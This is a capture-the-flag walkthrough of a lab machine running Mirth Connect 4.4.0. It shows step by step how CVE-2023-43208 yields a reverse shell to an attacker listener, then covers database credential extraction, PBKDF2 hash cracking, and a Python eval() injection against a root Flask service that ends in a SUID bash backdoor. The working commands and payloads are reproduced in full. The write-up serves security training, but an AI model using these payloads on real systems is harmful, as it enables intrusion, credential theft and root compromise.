Interpreter runs Mirth Connect 4.4.0 — an open-source healthcare integration engine vulnerable to unauthenticated Remote Code Execution (CVE-2023-43208), a Java deserialization bypass that gives us a shell as the mirth user. From there we extract database credentials from a config file, find a PBKDF2-SHA256 password hash in MariaDB, crack it with hashcat to pivot to sedric, then exploit an unsafe Python eval() call in a root-owned Flask service to escalate to root via SUID bash.
User Flag
0bd7937f57xxxxxxxxxxxxxxxxxxxxxx
Root Flag
714da10ee2xxxxxxxxxxxxxxxxxxxxxx
01Reconnaissance
Start with a full TCP port scan. The -p- flag scans all 65535 ports instead of just the default top 1000. --min-rate 5000 keeps the scan fast by sending at least 5000 packets per second. -sC runs default NSE scripts (service fingerprinting, banner grabbing) and -sV detects exact service versions. -oN saves output to a file for reference later.
nmap
$nmap-sC -sV -p- --min-rate 500010.129.33.236-oN nmap_full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
| ssl-cert: Subject: commonName=mirth-connect
|_http-title: Mirth Connect Administrator
6661/tcp open unknown
finding: Four open ports. Ports 80 and 443 serve Mirth Connect Administrator — a healthcare integration engine. Port 6661 is unknown (investigated later). Port 22 for SSH.
Run a directory bruteforce against the web server to find hidden paths:
finding:Mirth Connect 4.4.0 — the exact version is critical for finding the right exploit. Search for CVEs against this version.
02Enumeration
Searching for known vulnerabilities in Mirth Connect 4.4.0 quickly surfaces CVE-2023-43208 — an unauthenticated Remote Code Execution vulnerability. Understanding what this CVE is and why it works is important before exploiting it.
What is CVE-2023-43208? It is a bypass of the patch for an earlier CVE (CVE-2023-37679). Mirth Connect handles HL7 healthcare messages and uses Java's built-in object serialization to pass data between components. The vulnerability lies in an API endpoint that accepts serialized Java objects without proper authentication — an attacker can send a crafted "malicious object" that, when the server deserializes (unpacks) it, executes arbitrary operating system commands. Think of it like a booby-trapped package: the server opens it and the trap fires.
Version 4.4.0 sits exactly on the vulnerable boundary — the developers believed they had fixed the issue, but researchers found the fix could be bypassed.
note: We tried multiple exploit scripts. The K3ysTr0K3R PoC on GitHub had a port conflict issue (its internal listener clashed with our netcat). The predyy/CVE-2023-43208 repo worked cleanly because it externalizes listener management — always check a few PoCs before giving up on a CVE.
Clone and set up the working exploit:
bash
$git clone https://github.com/predyy/CVE-2023-43208
$cd CVE-2023-43208
$python3-m venv venv # isolate dependencies in a virtual environment$source venv/bin/activate
$pip install-r requirements.txt
why a venv? Using python3 -m venv creates an isolated Python environment so the exploit's dependencies don't conflict with system packages or other tools like impacket, certipy, etc. Always use venvs for one-off exploit scripts.
03Exploitation
Phase 1 — Initial shell via CVE-2023-43208. Start a netcat listener first, then fire the exploit. The exploit sends a serialized Java payload to Mirth Connect's unauthenticated API endpoint. When the server deserializes it, the embedded command executes and calls back to our listener.
bash — terminal 1 (listener)
$nc-lvnp 7777
listening on [any] 7777 ...
bash — terminal 2 (exploit)
$python3 exp.py -u http://10.129.33.236 -lh 10.10.15.9 -lp 7777
CVE-2023-43208 - Mirth Connect RCE Exploit
[*] Target: 10.129.33.236
[*] LHOST: 10.10.15.9 | LPORT: 7777
[+] Found Mirth Connect instance
[+] Vulnerable version 4.4.0 confirmed
[+] Exploit sent — check your listener!
bash — shell received
connect to [10.10.15.9] from (UNKNOWN) [10.129.33.236] 50732
$ whoami
mirth
$ python3 -c'import pty; pty.spawn("/bin/bash")'
mirth@interpreter:~$
finding: Shell as mirth — the service account running Mirth Connect. Not root, but enough to read application files and config.
Phase 2 — Credential discovery. Mirth Connect stores all its configuration in a file called mirth.properties. This file contains database credentials, keystore passwords, and server settings in plaintext. Always look for application config files after gaining a shell as a service account.
finding: Three sets of credentials found. Always try all of them for SSH and su — password reuse is extremely common in CTFs and real environments.
Phase 3 — Database enumeration. Connect to the MariaDB database using the credentials from mirth.properties. Note: run this command from inside the mirth shell since MariaDB only listens on localhost (127.0.0.1), not externally.
finding: User sedric exists with a base64-encoded password hash. This is the local system user — cracking this hash gives us SSH access.
Phase 4 — Hash identification and cracking. The hash is base64-encoded. According to the NextGen Healthcare upgrade guide, Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations to store passwords.
PBKDF2 (Password-Based Key Derivation Function 2) is a slow hashing algorithm designed to make brute-forcing expensive. It works by hashing the password thousands of times — 600,000 iterations means each guess takes much longer to compute. The decoded hash splits into two parts: the first 8 bytes are the salt (random data mixed in to prevent rainbow table attacks) and the remaining 32 bytes are the hash output.
bash — decode and split the hash
# Decode the full hash to hex$echo'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64-d | xxd-p-c 256
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
# Split: first 8 bytes = salt$echo'bbff8b0413949da7' | xxd-r-p | base64
u/+LBBOUnac=
# Remaining 32 bytes = hash$echo'62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd-r-p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
Hashcat mode 10900 handles PBKDF2-HMAC-SHA256. The format requires the salt and hash base64-encoded separately, separated by a colon:
finding: Password cracked — sedric : snowflake1. The format for hashcat mode 10900 is sha256:<iterations>:<base64_salt>:<base64_hash>. Getting this format wrong causes "Token length exception" errors.
Now we enumerate for privilege escalation paths from the sedric account. Check the usual suspects first:
bash — basic privesc checks
sedric@interpreter:~$ sudo-l
sudo: command not found # sudo not installed
sedric@interpreter:~$ find / -perm-4000-type f 2>/dev/null
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
# ... standard binaries only, nothing exploitable
sedric@interpreter:~$ ps auxf # check running processes
root 3570 /usr/bin/python3 /usr/local/bin/notif.py # ← interesting!
finding: A Python script /usr/local/bin/notif.py is running as root. This is unusual — let's read the source code.
Reading notif.py reveals a Flask web server listening on 127.0.0.1:54321. It accepts XML patient data, parses it, and formats a notification string. The critical vulnerability is in the template() function:
notif.py (vulnerable section)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") # input validationfor s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return"[INVALID_INPUT]"
template = f"Patient {first} {last} ({gender}), years old..."try:
return eval(f"f'''{template}'''") # ← DANGEROUS: eval() on user-controlled string!except Exception as e:
returnf"[EVAL_ERROR] {e}"@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403) # only accepts localhost requests# ... parses XML and calls template()
the vulnerability — unsafe eval(): The template() function builds an f-string by inserting user-controlled values ({first}, etc.) and then passes the entire string to Python's eval(). Python's eval() executes any expression you give it. If first contains {__import__("os").system("cmd")}, that expression runs as code when eval() processes the f-string.
why regex doesn't save it: The regex [a-zA-Z0-9._'"(){}=+/]+ was meant to restrict input — but it allows {, }, (, ), ", and . — exactly what Python needs to call functions and import modules. Allowlists on eval() input are almost always bypassable.
The service only accepts connections from 127.0.0.1 — but we're already on the box as sedric, so we can reach it directly. First verify we have RCE as root:
bash — verify RCE as root
sedric@interpreter:~$ python3 - << 'EOF'
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>{__import__("os").popen("whoami").read()}</firstname>
<lastname>Jo</lastname>
<sender_app>Jo</sender_app>
<timestamp>time</timestamp>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post(url, data=xml)
print(r.text)
EOF
Patient root
Jo (M), 36 years old, received from Jo at time
finding: Confirmed RCE as root. The whoami output appears in the response — the eval injection executes our Python expressions in root's process.
Read the root flag directly, then create a SUID bash for a proper root shell:
bash — read root flag
sedric@interpreter:~$ python3 - << 'EOF'
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>Jo</lastname>
<sender_app>Jo</sender_app>
<timestamp>time</timestamp>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post(url, data=xml)
print(r.text)
EOF
Patient 714da10ee29899925be39680e080466b
Jo (M), 36 years old, received from Jo at time
For a full interactive root shell, use the injection to create a SUID bash binary. The command uses && which would break XML — split into two separate requests to avoid XML parse errors:
bash — create SUID bash via shell script
# Write a shell script to /tmp (no special XML chars needed)cat > /tmp/p.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOFchmod +x /tmp/p.sh
# Trigger it via the eval injection (path has no spaces or special chars)
sedric@interpreter:~$ python3 - << 'EOF'
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>{__import__("os").system("/tmp/p.sh")}</firstname>
<lastname>Jo</lastname>
<sender_app>Jo</sender_app>
<timestamp>time</timestamp>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post(url, data=xml)
print(r.text)
EOF
Patient 0 Jo (M), ...
why -p? When bash detects it's running with a SUID bit (effective UID ≠ real UID), it drops privileges by default as a security measure. The -p flag disables this behavior, keeping the root effective UID so our shell stays as root.
why split into two requests? The && operator in bash (cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash) contains & which is a reserved XML character — it breaks XML parsing. Writing the commands to a shell script first avoids this entirely.